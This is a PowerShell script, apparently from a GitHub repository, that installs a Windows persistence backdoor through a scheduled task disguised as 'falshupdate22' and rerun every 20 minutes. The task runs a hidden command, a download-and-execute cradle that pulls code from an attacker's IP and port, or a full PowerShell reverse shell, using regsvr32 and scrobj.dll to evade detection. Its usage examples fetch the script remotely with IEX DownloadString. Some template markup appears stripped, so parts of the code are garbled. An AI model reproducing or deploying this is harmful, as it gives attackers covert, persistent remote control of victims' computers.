# Schtasks-Backdoor/Schtasks-Backdoor.ps1
**github.com/re4lity/Schtasks-Backdoor/blob/master/Schtasks-Backdoor.ps1**
AV1080p
function Invoke-Tasksbackdoor {
<#
.SYNOPSIS
Author: xiaocheng 小城
mail:passthru.bug@gmail.com
.DESCRIPTION
the Script Suitable for windows7 or above
schtasks backdoor
Default interval of 20 minutes
.EXAMPLE
PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -payload 'whoami >C:\test.txt'
.EXAMPLE
PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -payload 'whoami >C:\test.txt' -time 12
.EXAMPLE
-----
PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -method msf -ip 127.0.0.1 -port 443 -time 12
.EXAMPLE
PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -method nccat -ip 127.0.0.1 -port 443 -time 12
.EXAMPLE
C:\Users\test\Desktop>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/InvoketaskBackdoor.ps1');Invoke-Tasksbackdoor -method nccat -ip 8.8.8.8 -port 9999 -time 2"
.EXAMPLE
C:\Users\test\Desktop>
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/InvoketaskBackdoor.ps1');Invoke-Tasksbackdoor -method msf -ip 8.8.8.8 -port 8081 -time 2"
#>
[CmdletBinding()] Param
(
[Parameter(Position = 0, Mandatory = $False)] [String] $Payload,
[Parameter(Position = 1, Mandatory = $False)] [ValidateSet("cmd","nccat","msf")] [String] $method = "cmd",
[Parameter(Position=2, Mandatory=$false)] [string] $Ip,
[Parameter(Position=3, Mandatory=$false)] [int] $Port,
[Parameter(Position=4, Mandatory=$false)] [int] $Time
)
$Domain = $env:USERDOMAIN
$Username = $env:USERNAME
$Mia=(get-date).addminutes(2).GetDateTimeFormats('s')
$Miao=(get-date).addminutes(3).GetDateTimeFormats('s')
echo $Mia
if($Time -eq "") {$Time=20} else{}
function Local:Schtasks-exec($cmd, $cmdlines)
{
$WscriptManifest =
@"
-----
$Miao
$Username
$("PT"+"$time"+"M")
false
$Mia
true
$Domain\$Username
InteractiveToken
LeastPrivilege
IgnoreNew
true
true
true
false
false
true
false
true
true
false
false
false
P3D
-----
7
$Cmd
$Cmdlines
"@
#echo $WscriptManifest
$sManifest = $env:Temp + "\wscript2.xml"
$WscriptManifest | Out-File $sManifest -Encoding Unicode
$temppath=$sManifest -replace '[\\]','\\'
$CreateWrapperADS = {cmd /C "schtasks /create /xml $temppath /tn falshupdate22"}
Invoke-Command -ScriptBlock $CreateWrapperADS | out-null
Start-Sleep -Seconds 5
Remove-Item $sManifest
}
function Local:Create-Regscript
{
$utfbytes = [System.Text.Encoding]::Unicode.GetBytes($MSFscript)
$base64string = [System.Convert]::ToBase64String($utfbytes)
$Tempfile =
@"
"@
#echo $Tempfile
$MSFsManifest = $env:Temp + "\scripttemp.tks"
Remove-Item $MSFsManifest
#echo $MSFsManifest
$Tempfile | Out-File $MSFsManifest -Encoding Unicode
$Cmd="regsvr32.exe"
$Cmdlines=("/u /s /i:"+"""$MSFsManifest"""+" scrobj.dll")
#echo $cmd
#echo $cmdlines
Schtasks-exec $cmd $Cmdlines
}
switch($method)
{
"msf"
{
$MSFscript =
@"
`$n=new-object net.webclient;`$n.proxy=[Net.WebRequest]::GetSystemWebProxy();`$n.Proxy.Credentials=
[Net.CredentialCache]::DefaultCredentials;IEX `$n.downloadstring('http://$("$Ip"+":"+"$Port")/');
"@
Create-Regscript
#Schtasks-exec $cmd $Cmdlines
}
"cmd"
{
-----
$Cmd="powershell.exe"
$Cmdlines=("-WindowStyle Hidden -nop -c "+"""$Payload"""+"")
Schtasks-exec $cmd $Cmdlines
}
"nccat"
{
$MSFscript =
@"
`$client = New-Object System.Net.Sockets.TCPClient("$Ip",$Port);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..255|%
{0};`$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + `$env:username +
"`n");`$stream.Write(`$sendbytes,0,`$sendbytes.Length);while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String
);`$sendback2 = `$sendback + "PS " + (pwd).Path + "> ";`$sendbyte =
([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()
"@
#echo $MSFscript.
Create-Regscript
}
}
}
-----